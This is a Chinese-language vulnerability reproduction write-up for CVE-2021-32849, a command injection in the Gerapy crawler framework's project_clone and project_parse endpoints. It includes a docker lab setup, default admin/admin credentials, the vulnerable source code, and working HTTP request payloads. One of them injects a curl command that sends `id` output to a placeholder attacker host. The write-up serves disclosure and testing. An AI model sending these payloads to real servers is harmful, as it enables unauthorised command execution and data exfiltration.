Gerapy project_clone & project_parse 后台远程命令执行漏洞 CVE-2021-32849

漏洞描述

Gerapy 是一款基于 Scrapy、Scrapyd、Django 和 Vue.js 的分布式爬虫管理框架。

Gerapy < 0.9.9 存在远程命令执行漏洞,函数 project_clone 和 project_parse 在处理数据时容易受到命令注入攻击,经过身份验证的攻击者可以在系统上执行任意命令。

参考链接:

漏洞影响

Gerapy < 0.9.9

网络测绘

title="Gerapy"

环境搭建

docker-compose.yml

version: "3.9"

services:

  gerapy:
    image: germey/gerapy:0.9.6
    build: .
    container_name: gerapy
    restart: always
    volumes:
      - gerapy:/home/gerapy
    ports:
      - 8000:8000

volumes:
  gerapy:

执行如下命令启动一个 Gerapy 0.9.6 版本的服务器:

docker-compose up -d

启动完成后,访问 http://your-ip:8000 即可查看登录页面,通过默认口令 admin/admin 登录后台。

漏洞复现

问题 1:project_clone

漏洞点 位于 gerapy/server/core/views.py

@api_view(['POST'])
@permission_classes([IsAuthenticated])
def project_clone(request):
    """
    clone project from github
    :param request: request object
    :return: json
    """
    if request.method == 'POST':
        data = json.loads(request.body)

        # NOTE(1): Address comes from the post's body.
        address = data.get('address')
        if not address.startswith('http'):
            return JsonResponse({'status': False})
        address = address + '.git' if not address.endswith('.git') else address

        # NOTE(2): Address is used to build a command without sanitization.
        cmd = 'git clone {address} {target}'.format(address=address, target=join(PROJECTS_FOLDER, Path(address).stem))
        logger.debug('clone cmd %s', cmd)

        # NOTE(3): Command is executed.
        p = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)
        stdout, stderr = bytes2str(p.stdout.read()), bytes2str(p.stderr.read())
        logger.debug('clone run result %s', stdout)
        if stderr: logger.error(stderr)
        return JsonResponse({'status': True}) if not stderr else JsonResponse({'status': False})

address 为可控参数,构造请求包:

POST /api/project/clone HTTP/1.1
Host: your-ip:8000
Accept: */*
Referer: http://your-ip:8000/
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Content-Type: application/json;charset=UTF-8
Authorization: Token e8279162677dd4fbfefe352b0f51ea8ad19cace5

{"address":"http://127.0.0.1;curl your-vps-ip:9999?`id`"}

成功执行:

问题 2:project_parse

漏洞点 位于 gerapy/server/core/views.py

@api_view(['POST'])
@permission_classes([IsAuthenticated])
def project_parse(request, project_name):
    """
    parse project
    :param request: request object
    :param project_name: project name
    :return: requests, items, response
    """
    if request.method == 'POST':
        project_path = join(PROJECTS_FOLDER, project_name)

        # NOTE(1)
        data = json.loads(request.body)
        logger.debug('post data %s', data)
        spider_name = data.get('spider')
        args = {
            'start': data.get('start', False),
            'method': data.get('method', 'GET'),
            'url': data.get('url'),
            'callback': data.get('callback'),
            'cookies': "'" + json.dumps(data.get('cookies', {}), ensure_ascii=False) + "'",
            'headers': "'" + json.dumps(data.get('headers', {}), ensure_ascii=False) + "'",
            'meta': "'" + json.dumps(data.get('meta', {}), ensure_ascii=False) + "'",
            'dont_filter': data.get('dont_filter', False),
            'priority': data.get('priority', 0),
        }
        # set request body
        body = data.get('body', '')
        if args.get('method').lower() != 'get':
            args['body'] = "'" + json.dumps(body, ensure_ascii=False) + "'"

        # NOTE(2)
        args_cmd = ' '.join(
            ['--{arg} {value}'.format(arg=arg, value=value) for arg, value in args.items()])
        logger.debug('args cmd %s', args_cmd)
        cmd = 'gerapy parse {args_cmd} {project_path} {spider_name}'.format(
            args_cmd=args_cmd,
            project_path=project_path,
            spider_name=spider_name
        )
        logger.debug('parse cmd %s', cmd)

        # NOTE(3)
        p = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE, close_fds=True)
        stdout, stderr = bytes2str(p.stdout.read()), bytes2str(p.stderr.read())
        logger.debug('stdout %s, stderr %s', stdout, stderr)
        if not stderr:
            return JsonResponse({'status': True, 'result': json.loads(stdout)})
        else:
            return JsonResponse({'status': False, 'message': stderr})

构造请求包:

POST /api/project/1/parse HTTP/1.1
Host: your-ip:8000
Accept: */*
Referer: http://your-ip:8000/
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Content-Type: application/json;charset=UTF-8
Authorization: Token e8279162677dd4fbfefe352b0f51ea8ad19cace5

{"spider":"`id`"}

漏洞修复

升级至安全版本。